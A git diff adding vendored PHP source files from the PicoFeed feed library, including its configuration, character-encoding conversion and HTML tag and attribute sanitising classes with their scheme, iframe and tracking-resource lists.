+ * Get the scheme
+ *
+ * @access public
+ * @param string $suffix Suffix to add when there is a scheme
+ * @return string
+ */
+ public function getScheme($suffix = '')
+ {
+ return ($this->hasScheme() ? $this->components['scheme'] : 'http').$suffix;
+ }
+
+ /**
+ * Set the scheme
+ *
+ * @access public
+ * @param string $scheme Set a scheme
+ * @return string
+ */
+ public function setScheme($scheme)
+ {
+ $this->components['scheme'] = $scheme;
+ }
+
+ /**
+ * Return true if the url has a scheme
+ *
+ * @access public
+ * @return boolean
+ */
+ public function hasScheme()
+ {
+ return ! empty($this->components['scheme']);
+ }
+
+ /**
+ * Get the port
+ *
+ * @access public
+ * @param string $prefix Prefix to add when there is a port
+ * @return string
+ */
+ public function getPort($prefix = '')
+ {
+ return $this->hasPort() ? $prefix.$this->components['port'] : '';
+ }
+
+ /**
+ * Return true if the url has a port
+ *
+ * @access public
+ * @return boolean
+ */
+ public function hasPort()
+ {
+ return ! empty($this->components['port']);
+ }
+
+ /**
+ * Return true if the url is protocol relative (start with //)
+ *
+ * @access public
+ * @return boolean
+ */
+ public function isProtocolRelative()
+ {
+ return strpos($this->url, '//') === 0;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Config/Config.php b/vendor/fguillot/picofeed/lib/PicoFeed/Config/Config.php
new file mode 100644
index 000000000..298b9a2d7
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Config/Config.php
@@ -0,0 +1,90 @@
+<?php
+
+namespace PicoFeed\Config;
+
+/**
+ * Config class
+ *
+ * @author Frederic Guillot
+ * @package picofeed
+ *
+ * @method \PicoFeed\Config\Config setClientTimeout(integer $value)
+ * @method \PicoFeed\Config\Config setClientUserAgent(string $value)
+ * @method \PicoFeed\Config\Config setMaxRedirections(integer $value)
+ * @method \PicoFeed\Config\Config setMaxBodySize(integer $value)
+ * @method \PicoFeed\Config\Config setProxyHostname(string $value)
+ * @method \PicoFeed\Config\Config setProxyPort(integer $value)
+ * @method \PicoFeed\Config\Config setProxyUsername(string $value)
+ * @method \PicoFeed\Config\Config setProxyPassword(string $value)
+ * @method \PicoFeed\Config\Config setGrabberTimeout(integer $value)
+ * @method \PicoFeed\Config\Config setGrabberUserAgent(string $value)
+ * @method \PicoFeed\Config\Config setParserHashAlgo(string $value)
+ * @method \PicoFeed\Config\Config setContentFiltering(boolean $value)
+ * @method \PicoFeed\Config\Config setTimezone(string $value)
+ * @method \PicoFeed\Config\Config setFilterIframeWhitelist(array $value)
+ * @method \PicoFeed\Config\Config setFilterIntegerAttributes(array $value)
+ * @method \PicoFeed\Config\Config setFilterAttributeOverrides(array $value)
+ * @method \PicoFeed\Config\Config setFilterRequiredAttributes(array $value)
+ * @method \PicoFeed\Config\Config setFilterMediaBlacklist(array $value)
+ * @method \PicoFeed\Config\Config setFilterMediaAttributes(array $value)
+ * @method \PicoFeed\Config\Config setFilterSchemeWhitelist(array $value)
+ * @method \PicoFeed\Config\Config setFilterWhitelistedTags(array $value)
+ * @method \PicoFeed\Config\Config setFilterBlacklistedTags(array $value)
+ *
+ * @method integer getClientTimeout()
+ * @method string getClientUserAgent()
+ * @method integer getMaxRedirections()
+ * @method integer getMaxBodySize()
+ * @method string getProxyHostname()
+ * @method integer getProxyPort()
+ * @method string getProxyUsername()
+ * @method string getProxyPassword()
+ * @method integer getGrabberTimeout()
+ * @method string getGrabberUserAgent()
+ * @method string getParserHashAlgo()
+ * @method boolean getContentFiltering(bool $default_value)
+ * @method string getTimezone()
+ * @method array getFilterIframeWhitelist(array $default_value)
+ * @method array getFilterIntegerAttributes(array $default_value)
+ * @method array getFilterAttributeOverrides(array $default_value)
+ * @method array getFilterRequiredAttributes(array $default_value)
+ * @method array getFilterMediaBlacklist(array $default_value)
+ * @method array getFilterMediaAttributes(array $default_value)
+ * @method array getFilterSchemeWhitelist(array $default_value)
+ * @method array getFilterWhitelistedTags(array $default_value)
+ * @method array getFilterBlacklistedTags(array $default_value)
+ */
+class Config
+{
+ /**
+ * Contains all parameters
+ *
+ * @access private
+ * @var array
+ */
+ private $container = array();
+
+ /**
+ * Magic method to have any kind of setters or getters
+ *
+ * @access public
+ * @param string $name Getter/Setter name
+ * @param array $arguments Method arguments
+ * @return mixed
+ */
+ public function __call($name , array $arguments)
+ {
+ $name = strtolower($name);
+ $prefix = substr($name, 0, 3);
+ $parameter = substr($name, 3);
+
+ if ($prefix === 'set' && isset($arguments[0])) {
+ $this->container[$parameter] = $arguments[0];
+ return $this;
+ }
+ else if ($prefix === 'get') {
+ $default_value = isset($arguments[0]) ? $arguments[0] : null;
+ return isset($this->container[$parameter]) ? $this->container[$parameter] : $default_value;
+ }
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Encoding/Encoding.php b/vendor/fguillot/picofeed/lib/PicoFeed/Encoding/Encoding.php
new file mode 100644
index 000000000..d6296c0b6
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Encoding/Encoding.php
@@ -0,0 +1,171 @@
+<?php
+
+namespace PicoFeed\Encoding;
+
+/**
+ * @author "Sebastián Grignoli" <grignoli@framework2.com.ar>
+ * @package Encoding
+ * @version 1.2
+ * @link https://github.com/neitanod/forceutf8
+ * @example https://github.com/neitanod/forceutf8
+ * @license Revised BSD
+ */
+class Encoding
+{
+ protected static $win1252ToUtf8 = array(
+ 128 => "\xe2\x82\xac",
+ 130 => "\xe2\x80\x9a",
+ 131 => "\xc6\x92",
+ 132 => "\xe2\x80\x9e",
+ 133 => "\xe2\x80\xa6",
+ 134 => "\xe2\x80\xa0",
+ 135 => "\xe2\x80\xa1",
+ 136 => "\xcb\x86",
+ 137 => "\xe2\x80\xb0",
+ 138 => "\xc5\xa0",
+ 139 => "\xe2\x80\xb9",
+ 140 => "\xc5\x92",
+ 142 => "\xc5\xbd",
+ 145 => "\xe2\x80\x98",
+ 146 => "\xe2\x80\x99",
+ 147 => "\xe2\x80\x9c",
+ 148 => "\xe2\x80\x9d",
+ 149 => "\xe2\x80\xa2",
+ 150 => "\xe2\x80\x93",
+ 151 => "\xe2\x80\x94",
+ 152 => "\xcb\x9c",
+ 153 => "\xe2\x84\xa2",
+ 154 => "\xc5\xa1",
+ 155 => "\xe2\x80\xba",
+ 156 => "\xc5\x93",
+ 158 => "\xc5\xbe",
+ 159 => "\xc5\xb8"
+ );
+
+ /**
+ * Function Encoding::toUTF8
+ *
+ * This function leaves UTF8 characters alone, while converting almost all non-UTF8 to UTF8.
+ *
+ * It assumes that the encoding of the original string is either Windows-1252 or ISO 8859-1.
+ *
+ * It may fail to convert characters to UTF-8 if they fall into one of these scenarios:
+ *
+ * 1) when any of these characters: ÀÃÂÃÄÅÆÇÈÉÊËÌÃÃŽÃÃÑÒÓÔÕÖ×ØÙÚÛÜÃÞß
+ * are followed by any of these: ("group B")
+ * ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶•¸¹º»¼½¾¿
+ * For example: %ABREPRESENT%C9%BB. «REPRESENTÉ»
+ * The "«" (%AB) character will be converted, but the "É" followed by "»" (%C9%BB)
+ * is also a valid unicode character, and will be left unchanged.
+ *
+ * 2) when any of these: àáâãäåæçèéêëìíîï are followed by TWO chars from group B,
+ * 3) when any of these: ðñòó are followed by THREE chars from group B.
+ *
+ * @name toUTF8
+ * @param string $text Any string.
+ * @return string The same string, UTF8 encoded
+ *
+ */
+ public static function toUTF8($text)
+ {
+ if (is_array($text)) {
+ foreach ($text as $k => $v) {
+ $text[$k] = self::toUTF8($v);
+ }
+
+ return $text;
+ }
+ elseif (is_string($text)) {
+
+ $max = strlen($text);
+ $buf = "";
+
+ for ($i = 0; $i < $max; $i++) {
+
+ $c1 = $text{$i};
+
+ if ($c1>="\xc0") { //Should be converted to UTF8, if it's not UTF8 already
+
+ $c2 = $i+1 >= $max? "\x00" : $text{$i+1};
+ $c3 = $i+2 >= $max? "\x00" : $text{$i+2};
+ $c4 = $i+3 >= $max? "\x00" : $text{$i+3};
+
+ if ($c1 >= "\xc0" & $c1 <= "\xdf") { //looks like 2 bytes UTF8
+
+ if ($c2 >= "\x80" && $c2 <= "\xbf") { //yeah, almost sure it's UTF8 already
+ $buf .= $c1 . $c2;
+ $i++;
+ }
+ else { //not valid UTF8. Convert it.
+ $buf .= self::convertInvalidCharacter($c1);
+ }
+ }
+ else if ($c1 >= "\xe0" & $c1 <= "\xef") { //looks like 3 bytes UTF8
+
+ if ($c2 >= "\x80" && $c2 <= "\xbf" && $c3 >= "\x80" && $c3 <= "\xbf") { //yeah, almost sure it's UTF8 already
+ $buf .= $c1 . $c2 . $c3;
+ $i = $i + 2;
+ }
+ else { //not valid UTF8. Convert it.
+ $buf .= self::convertInvalidCharacter($c1);
+ }
+ }
+ else if ($c1 >= "\xf0" & $c1 <= "\xf7") { //looks like 4 bytes UTF8
+
+ if ($c2 >= "\x80" && $c2 <= "\xbf" && $c3 >= "\x80" && $c3 <= "\xbf" && $c4 >= "\x80" && $c4 <= "\xbf") { //yeah, almost sure it's UTF8 already
+ $buf .= $c1 . $c2 . $c3;
+ $i = $i + 2;
+ }
+ else { //not valid UTF8. Convert it.
+ $buf .= self::convertInvalidCharacter($c1);
+ }
+ }
+ else { //doesn't look like UTF8, but should be converted
+ $buf .= self::convertInvalidCharacter($c1);
+ }
+ }
+ elseif (($c1 & "\xc0") == "\x80") { // needs conversion
+
+ if (isset(self::$win1252ToUtf8[ord($c1)])) { //found in Windows-1252 special cases
+ $buf .= self::$win1252ToUtf8[ord($c1)];
+ }
+ else {
+ $buf .= self::convertInvalidCharacter($c1);
+ }
+ }
+ else { // it doesn't need conversion
+ $buf .= $c1;
+ }
+ }
+
+ return $buf;
+ }
+ else {
+ return $text;
+ }
+ }
+
+ public static function convertInvalidCharacter($c1)
+ {
+ $cc1 = chr(ord($c1) / 64) | "\xc0";
+ $cc2 = ($c1 & "\x3f") | "\x80";
+ return $cc1.$cc2;
+ }
+
+ public static function convert_CP_1251($input)
+ {
+ return iconv('CP1251', 'UTF-8//TRANSLIT', $input);
+ }
+
+ public static function convert($input, $encoding)
+ {
+ if ($encoding === 'windows-1251') {
+ return self::convert_CP_1251($input);
+ }
+ else if ($encoding === '' || $encoding !== 'utf-8') {
+ return self::toUTF8($input);
+ }
+
+ return $input;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Attribute.php b/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Attribute.php
new file mode 100644
index 000000000..23b1103ad
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Attribute.php
@@ -0,0 +1,589 @@
+<?php
+
+namespace PicoFeed\Filter;
+
+use \PicoFeed\Client\Url;
+
+/**
+ * Attribute Filter class
+ *
+ * @author Frederic Guillot
+ * @package Filter
+ */
+class Attribute
+{
+ /**
+ * Tags and attribute whitelist
+ *
+ * @access private
+ * @var array
+ */
+ private $attribute_whitelist = array(
+ 'audio' => array('controls', 'src'),
+ 'video' => array('poster', 'controls', 'height', 'width', 'src'),
+ 'source' => array('src', 'type'),
+ 'dt' => array(),
+ 'dd' => array(),
+ 'dl' => array(),
+ 'table' => array(),
+ 'caption' => array(),
+ 'tr' => array(),
+ 'th' => array(),
+ 'td' => array(),
+ 'tbody' => array(),
+ 'thead' => array(),
+ 'h2' => array(),
+ 'h3' => array(),
+ 'h4' => array(),
+ 'h5' => array(),
+ 'h6' => array(),
+ 'strong' => array(),
+ 'em' => array(),
+ 'code' => array(),
+ 'pre' => array(),
+ 'blockquote' => array(),
+ 'p' => array(),
+ 'ul' => array(),
+ 'li' => array(),
+ 'ol' => array(),
+ 'br' => array(),
+ 'del' => array(),
+ 'a' => array('href'),
+ 'img' => array('src', 'title', 'alt'),
+ 'figure' => array(),
+ 'figcaption' => array(),
+ 'cite' => array(),
+ 'time' => array('datetime'),
+ 'abbr' => array('title'),
+ 'iframe' => array('width', 'height', 'frameborder', 'src'),
+ 'q' => array('cite')
+ );
+
+ /**
+ * Scheme whitelist
+ *
+ * For a complete list go to http://en.wikipedia.org/wiki/URI_scheme
+ *
+ * @access private
+ * @var array
+ */
+ private $scheme_whitelist = array(
+ 'bitcoin:',
+ 'callto:',
+ 'ed2k://',
+ 'facetime://',
+ 'feed:',
+ 'ftp://',
+ 'geo:',
+ 'git://',
+ 'http://',
+ 'https://',
+ 'irc://',
+ 'irc6://',
+ 'ircs://',
+ 'jabber:',
+ 'magnet:',
+ 'mailto:',
+ 'nntp://',
+ 'rtmp://',
+ 'sftp://',
+ 'sip:',
+ 'sips:',
+ 'skype:',
+ 'smb://',
+ 'sms:',
+ 'spotify:',
+ 'ssh:',
+ 'steam:',
+ 'svn://',
+ 'tel:',
+ );
+
+ /**
+ * Iframe source whitelist, everything else is ignored
+ *
+ * @access private
+ * @var array
+ */
+ private $iframe_whitelist = array(
+ 'http://www.youtube.com',
+ 'https://www.youtube.com',
+ 'http://player.vimeo.com',
+ 'https://player.vimeo.com',
+ 'http://www.dailymotion.com',
+ 'https://www.dailymotion.com',
+ );
+
+ /**
+ * Blacklisted resources
+ *
+ * @access private
+ * @var array
+ */
+ private $media_blacklist = array(
+ 'api.flattr.com',
+ 'feeds.feedburner.com',
+ 'share.feedsportal.com',
+ 'da.feedsportal.com',
+ 'rss.feedsportal.com',
+ 'res.feedsportal.com',
+ 'res1.feedsportal.com',
+ 'res2.feedsportal.com',
+ 'res3.feedsportal.com',
+ 'pi.feedsportal.com',
+ 'rss.nytimes.com',
+ 'feeds.wordpress.com',
+ 'stats.wordpress.com',
+ 'rss.cnn.com',
+ 'twitter.com/home?status=',
+ 'twitter.com/share',
+ 'twitter_icon_large.png',
+ 'www.facebook.com/sharer.php',
+ 'facebook_icon_large.png',
+ 'plus.google.com/share',
+ 'www.gstatic.com/images/icons/gplus-16.png',
+ 'www.gstatic.com/images/icons/gplus-32.png',
+ 'www.gstatic.com/images/icons/gplus-64.png',
+ );
+
+ /**
+ * Attributes used for external resources
+ *
+ * @access private
+ * @var array
+ */
+ private $media_attributes = array(
+ 'src',
+ 'href',
+ 'poster',
+ );
+
+ /**
+ * Attributes that must be integer
+ *
+ * @access private
+ * @var array
+ */
+ private $integer_attributes = array(
+ 'width',
+ 'height',
+ 'frameborder',
+ );
+
+ /**
+ * Mandatory attributes for specified tags
+ *
+ * @access private
+ * @var array
+ */
+ private $required_attributes = array(
+ 'a' => array('href'),
+ 'img' => array('src'),
+ 'iframe' => array('src'),
+ 'audio' => array('src'),
+ 'source' => array('src'),
+ );
+
+ /**
+ * Add attributes to specified tags
+ *
+ * @access private
+ * @var array
+ */
+ private $add_attributes = array(
+ 'a' => array('rel' => 'noreferrer', 'target' => '_blank')
+ );
+
+ /**
+ * List of filters to apply
+ *
+ * @access private
+ * @var array
+ */
+ private $filters = array(
+ 'filterEmptyAttribute',
+ 'filterAllowedAttribute',
+ 'filterIntegerAttribute',
+ 'filterAbsoluteUrlAttribute',
+ 'filterIframeAttribute',
+ 'filterBlacklistResourceAttribute',
+ 'filterProtocolUrlAttribute',
+ );
+
+ /**
+ * Add attributes to specified tags
+ *
+ * @access private
+ * @var \PicoFeed\Client\Url
+ */
+ private $website;
+
+ /**
+ * Constructor
+ *
+ * @access public
+ * @param \PicoFeed\Client\Url $website Website url instance
+ */
+ public function __construct(Url $website)
+ {
+ $this->website = $website;
+ }
+
+ /**
+ * Apply filters to the attributes list
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param array $attributes Attributes dictionary
+ * @return array Filtered attributes
+ */
+ public function filter($tag, array $attributes)
+ {
+ foreach ($attributes as $attribute => &$value) {
+ foreach ($this->filters as $filter) {
+ if (! $this->$filter($tag, $attribute, $value)) {
+ unset($attributes[$attribute]);
+ break;
+ }
+ }
+ }
+
+ return $attributes;
+ }
+
+ /**
+ * Return true if the value is not empty (remove empty attributes)
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param string $attribute Atttribute name
+ * @param string $value Atttribute value
+ * @return boolean
+ */
+ public function filterEmptyAttribute($tag, $attribute, $value)
+ {
+ return $value !== '';
+ }
+
+ /**
+ * Return true if the value is allowed (remove not allowed attributes)
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param string $attribute Atttribute name
+ * @param string $value Atttribute value
+ * @return boolean
+ */
+ public function filterAllowedAttribute($tag, $attribute, $value)
+ {
+ return isset($this->attribute_whitelist[$tag]) && in_array($attribute, $this->attribute_whitelist[$tag]);
+ }
+
+ /**
+ * Return true if the value is not integer (remove attributes that should have an integer value)
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param string $attribute Atttribute name
+ * @param string $value Atttribute value
+ * @return boolean
+ */
+ public function filterIntegerAttribute($tag, $attribute, $value)
+ {
+ if (in_array($attribute, $this->integer_attributes)) {
+ return ctype_digit($value);
+ }
+
+ return true;
+ }
+
+ /**
+ * Return true if the iframe source is allowed (remove not allowed iframe)
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param string $attribute Atttribute name
+ * @param string $value Atttribute value
+ * @return boolean
+ */
+ public function filterIframeAttribute($tag, $attribute, $value)
+ {
+ if ($tag === 'iframe' && $attribute === 'src') {
+
+ foreach ($this->iframe_whitelist as $url) {
+ if (strpos($value, $url) === 0) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ return true;
+ }
+
+ /**
+ * Return true if the resource is not blacklisted (remove blacklisted resource attributes)
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param string $attribute Atttribute name
+ * @param string $value Atttribute value
+ * @return boolean
+ */
+ public function filterBlacklistResourceAttribute($tag, $attribute, $value)
+ {
+ if ($this->isResource($attribute) && $this->isBlacklistedMedia($value)) {
+ return false;
+ }
+
+ return true;
+ }
+
+ /**
+ * Convert all relative links to absolute url
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param string $attribute Atttribute name
+ * @param string $value Atttribute value
+ * @return boolean
+ */
+ public function filterAbsoluteUrlAttribute($tag, $attribute, &$value)
+ {
+ if ($this->isResource($attribute)) {
+ $value = Url::resolve($value, $this->website);
+ }
+
+ return true;
+ }
+
+ /**
+ * Return true if the scheme is authorized
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param string $attribute Atttribute name
+ * @param string $value Atttribute value
+ * @return boolean
+ */
+ public function filterProtocolUrlAttribute($tag, $attribute, $value)
+ {
+ if ($this->isResource($attribute) && ! $this->isAllowedProtocol($value)) {
+ return false;
+ }
+
+ return true;
+ }
+
+ /**
+ * Automatically add/override some attributes for specific tags
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param array $attributes Atttributes list
+ * @return array
+ */
+ public function addAttributes($tag, array $attributes)
+ {
+ if (isset($this->add_attributes[$tag])) {
+ $attributes += $this->add_attributes[$tag];
+ }
+
+ return $attributes;
+ }
+
+ /**
+ * Return true if all required attributes are present
+ *
+ * @access public
+ * @param string $tag Tag name
+ * @param array $attributes Atttributes list
+ * @return boolean
+ */
+ public function hasRequiredAttributes($tag, array $attributes)
+ {
+ if (isset($this->required_attributes[$tag])) {
+
+ foreach ($this->required_attributes[$tag] as $attribute) {
+ if (! isset($attributes[$attribute])) {
+ return false;
+ }
+ }
+ }
+
+ return true;
+ }
+
+ /**
+ * Check if an attribute name is an external resource
+ *
+ * @access public
+ * @param string $data Attribute name
+ * @return boolean
+ */
+ public function isResource($attribute)
+ {
+ return in_array($attribute, $this->media_attributes);
+ }
+
+ /**
+ * Detect if the protocol is allowed or not
+ *
+ * @access public
+ * @param string $value Attribute value
+ * @return boolean
+ */
+ public function isAllowedProtocol($value)
+ {
+ foreach ($this->scheme_whitelist as $protocol) {
+
+ if (strpos($value, $protocol) === 0) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ /**
+ * Detect if an url is blacklisted
+ *
+ * @access public
+ * @param string $resouce Attribute value (URL)
+ * @return boolean
+ */
+ public function isBlacklistedMedia($resource)
+ {
+ foreach ($this->media_blacklist as $name) {
+
+ if (strpos($resource, $name) !== false) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ /**
+ * Convert the attribute list to html
+ *
+ * @access public
+ * @param array $attributes Attributes
+ * @return string
+ */
+ public function toHtml(array $attributes)
+ {
+ $html = array();
+
+ foreach ($attributes as $attribute => $value) {
+ $html[] = sprintf('%s="%s"', $attribute, Filter::escape($value));
+ }
+
+ return implode(' ', $html);
+ }
+
+ /**
+ * Set whitelisted tags adn attributes for each tag
+ *
+ * @access public
+ * @param array $values List of tags: ['video' => ['src', 'cover'], 'img' => ['src']]
+ * @return \PicoFeed\Filter\Filter
+ */
+ public function setWhitelistedAttributes(array $values)
+ {
+ $this->attribute_whitelist = $values ?: $this->attribute_whitelist;
+ return $this;
+ }
+
+ /**
+ * Set scheme whitelist
+ *
+ * @access public
+ * @param array $values List of scheme: ['http://', 'ftp://']
+ * @return \PicoFeed\Filter\Filter
+ */
+ public function setSchemeWhitelist(array $values)
+ {
+ $this->scheme_whitelist = $values ?: $this->scheme_whitelist;
+ return $this;
+ }
+
+ /**
+ * Set media attributes (used to load external resources)
+ *
+ * @access public
+ * @param array $values List of values: ['src', 'href']
+ * @return \PicoFeed\Filter\Filter
+ */
+ public function setMediaAttributes(array $values)
+ {
+ $this->media_attributes = $values ?: $this->media_attributes;
+ return $this;
+ }
+
+ /**
+ * Set blacklisted external resources
+ *
+ * @access public
+ * @param array $values List of tags: ['http://google.com/', '...']
+ * @return \PicoFeed\Filter\Filter
+ */
+ public function setMediaBlacklist(array $values)
+ {
+ $this->media_blacklist = $values ?: $this->media_blacklist;
+ return $this;
+ }
+
+ /**
+ * Set mandatory attributes for whitelisted tags
+ *
+ * @access public
+ * @param array $values List of tags: ['img' => 'src']
+ * @return \PicoFeed\Filter\Filter
+ */
+ public function setRequiredAttributes(array $values)
+ {
+ $this->required_attributes = $values ?: $this->required_attributes;
+ return $this;
+ }
+
+ /**
+ * Set attributes to automatically to specific tags
+ *
+ * @access public
+ * @param array $values List of tags: ['a' => 'target="_blank"']
+ * @return \PicoFeed\Filter\Filter
+ */
+ public function setAttributeOverrides(array $values)
+ {
+ $this->add_attributes = $values ?: $this->add_attributes;
+ return $this;
+ }
+
+ /**
+ * Set attributes that must be an integer
+ *
+ * @access public
+ * @param array $values List of tags: ['width', 'height']
+ * @return \PicoFeed\Filter\Filter
+ */
+ public function setIntegerAttributes(array $values)
+ {
+ $this->integer_attributes = $values ?: $this->integer_attributes;
+ return $this;
+ }
+
+ /**
+ * Set allowed iframe resources
+ *
+ * @access public
+ * @param array $values List of tags: ['http://www.youtube.com']
+ * @return \PicoFeed\Filter\Filter
+ */
+ public function setIframeWhitelist(array $values)
+ {
+ $this->iframe_whitelist = $values ?: $this->iframe_whitelist;
+ return $this;
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Filter.php b/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Filter.php
new file mode 100644
index 000000000..0490e2f49
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Filter.php
@@ -0,0 +1,170 @@
+<?php
+
+namespace PicoFeed\Filter;
+
+/**
+ * Filter class
+ *
+ * @author Frederic Guillot
+ * @package Filter
+ */
+class Filter
+{
+ /**
+ * Get the Html filter instance
+ *
+ * @static
+ * @access public
+ * @param string $html HTML content
+ * @param string $website Site URL (used to build absolute URL)
+ * @return PicoFeed\Filter\Html
+ */
+ public static function html($html, $website)
+ {
+ $filter = new Html($html, $website);
+ return $filter;
+ }
+
+ /**
+ * Escape HTML content
+ *
+ * @static
+ * @access public
+ * @return string
+ */
+ public static function escape($content)
+ {
+ return @htmlspecialchars($content, ENT_QUOTES, 'UTF-8', false);
+ }
+
+ /**
+ * Remove HTML tags
+ *
+ * @access public
+ * @param string $data Input data
+ * @return string
+ */
+ public function removeHTMLTags($data)
+ {
+ return preg_replace('~<(?:!DOCTYPE|/?(?:html|head|body))[^>]*>\s*~i', '', $data);
+ }
+
+ /**
+ * Remove the XML tag from a document
+ *
+ * @static
+ * @access public
+ * @param string $data Input data
+ * @return string
+ */
+ public static function stripXmlTag($data)
+ {
+ if (strpos($data, '<?xml') !== false) {
+ $data = ltrim(substr($data, strpos($data, '?>') + 2));
+ }
+
+ do {
+
+ $pos = strpos($data, '<?xml-stylesheet ');
+
+ if ($pos !== false) {
+ $data = ltrim(substr($data, strpos($data, '?>') + 2));
+ }
+
+ } while ($pos !== false && $pos < 200);
+
+ return $data;
+ }
+
+ /**
+ * Strip head tag from the HTML content
+ *
+ * @static
+ * @access public
+ * @param string $data Input data
+ * @return string
+ */
+ public static function stripHeadTags($data)
+ {
+ $start = strpos($data, '<head>');
+ $end = strpos($data, '</head>');
+
+ if ($start !== false && $end !== false) {
+ $before = substr($data, 0, $start);
+ $after = substr($data, $end + 7);
+ $data = $before.$after;
+ }
+
+ return $data;
+ }
+
+ /**
+ * Trim whitespace from the begining, the end and inside a string and don't break utf-8 string
+ *
+ * @static
+ * @access public
+ * @param string $value Raw data
+ * @return string Normalized data
+ */
+ public static function stripWhiteSpace($value)
+ {
+ $value = str_replace("\r", ' ', $value);
+ $value = str_replace("\t", ' ', $value);
+ $value = str_replace("\n", ' ', $value);
+ // $value = preg_replace('/\s+/', ' ', $value); <= break utf-8
+ return trim($value);
+ }
+
+ /**
+ * Dirty quickfixes before XML parsing
+ *
+ * @static
+ * @access public
+ * @param string $data Raw data
+ * @return string Normalized data
+ */
+ public static function normalizeData($data)
+ {
+ $invalid_chars = array(
+ "\x10",
+ "\xc3\x20",
+ "&#x1F;",
+ );
+
+ foreach ($invalid_chars as $needle) {
+ $data = str_replace($needle, '', $data);
+ }
+
+ return $data;
+ }
+
+ /**
+ * Get the first XML tag
+ *
+ * @static
+ * @access public
+ * @param string $data Feed content
+ * @return string
+ */
+ public static function getFirstTag($data)
+ {
+ // Strip HTML comments (max of 5,000 characters long to prevent crashing)
+ $data = preg_replace('/<!--(.{0,5000}?)-->/Uis', '', $data);
+
+ /* Strip Doctype:
+ * Doctype needs to be within the first 100 characters. (Ideally the first!)
+ * If it's not found by then, we need to stop looking to prevent PREG
+ * from reaching max backtrack depth and crashing.
+ */
+ $data = preg_replace('/^.{0,100}<!DOCTYPE([^>]*)>/Uis', '', $data);
+
+ // Strip <?xml version....
+ $data = self::stripXmlTag($data);
+
+ // Find the first tag
+ $open_tag = strpos($data, '<');
+ $close_tag = strpos($data, '>');
+
+ return substr($data, $open_tag, $close_tag);
+ }
+}
diff --git a/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Html.php b/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Html.php
new file mode 100644
index 000000000..f09a10e3a
--- /dev/null
+++ b/vendor/fguillot/picofeed/lib/PicoFeed/Filter/Html.php
@@ -0,0 +1,196 @@
+<?php
+
+namespace PicoFeed\Filter;
+
+use \PicoFeed\Client\Url;
+use \PicoFeed\Parser\XmlParser;
+
+/**
+ * HTML Filter class
+ *
+ * @author Frederic Guillot
+ * @package Filter
+ */
+class Html
+{
+ /**
+ * Config object
+ *
+ * @access private
+ * @var \PicoFeed\Config\Config
+ */
+ private $config;
+
+ /**
+ * Unfiltered XML data
+ *
+ * @access private
+ * @var string
+ */
+ private $input = '';
+
+ /**
+ * Filtered XML data
+ *
+ * @access private
+ * @var string
+ */
+ private $output = '';
+
+ /**
+ * List of empty tags
+ *
+ * @access private
+ * @var array
+ */
+ private $empty_tags = array();
+
+ /**
+ * Empty flag
+ *
+ * @access private
+ * @var boolean
+ */
+ private $empty = true;
+
+ /**
+ * Tag instance
+ *
+ * @access public
+ * @var \PicoFeed\Filter\Tag
+ */
+ public $tag = '';
+
+ /**
+ * Attribute instance
+ *
+ * @access public
+ * @var \PicoFeed\Filter\Attribute
+ */
+ public $attribute = '';
+
+ /**
+ * Initialize the filter, all inputs data must be encoded in UTF-8 before
+ *
+ * @access public
+ * @param string $html HTML content
+ * @param string $website Site URL (used to build absolute URL)
+ */
+ public function __construct($html, $website)
+ {
+ $this->input = XmlParser::HtmlToXml($html);
+ $this->output = '';
+ $this->tag = new Tag;
+ $this->attribute = new Attribute(new Url($website));
+ }
+
+ /**
+ * Set config object
+ *
+ * @access public
+ * @param \PicoFeed\Config\Config $config Config instance
+ * @return \PicoFeed\Filter\Html
+ */
+ public function setConfig($config)
+ {
+ $this->config = $config;
+
+ if ($this->config !== null) {
+ $this->attribute->setIframeWhitelist($this->config->getFilterIframeWhitelist(array()));
+ $this->attribute->setIntegerAttributes($this->config->getFilterIntegerAttributes(array()));
+ $this->attribute->setAttributeOverrides($this->config->getFilterAttributeOverrides(array()));
+ $this->attribute->setRequiredAttributes($this->config->getFilterRequiredAttributes(array()));
+ $this->attribute->setMediaBlacklist($this->config->getFilterMediaBlacklist(array()));
+ $this->attribute->setMediaAttributes($this->config->getFilterMediaAttributes(array()));
+ $this->attribute->setSchemeWhitelist($this->config->getFilterSchemeWhitelist(array()));
+ $this->attribute->setWhitelistedAttributes($this->config->getFilterWhitelistedTags(array()));
+ $this->tag->setWhitelistedTags(array_keys($this->config->getFilterWhitelistedTags(array())));
+ }
+
+ return $this;
+ }
+
+ /**
+ * Run tags/attributes filtering
+ *
+ * @access public
+ * @return string
+ */
+ public function execute()
+ {
+ $parser = xml_parser_create();
+
+ xml_set_object($parser, $this);
+ xml_set_element_handler($parser, 'startTag', 'endTag');
+ xml_set_character_data_handler($parser, 'dataTag');
+ xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);
+ xml_parse($parser, $this->input, true);
+ xml_parser_free($parser);
+
+ $this->postFilter();
+
+ return $this->output;
+ }
+
+ public function postFilter()
+ {
+ $this->output = $this->tag->removeEmptyTags($this->output);
+ $this->output = trim($this->output);
+ }
+
+ /**
+ * Parse opening tag
+ *
+ * @access public
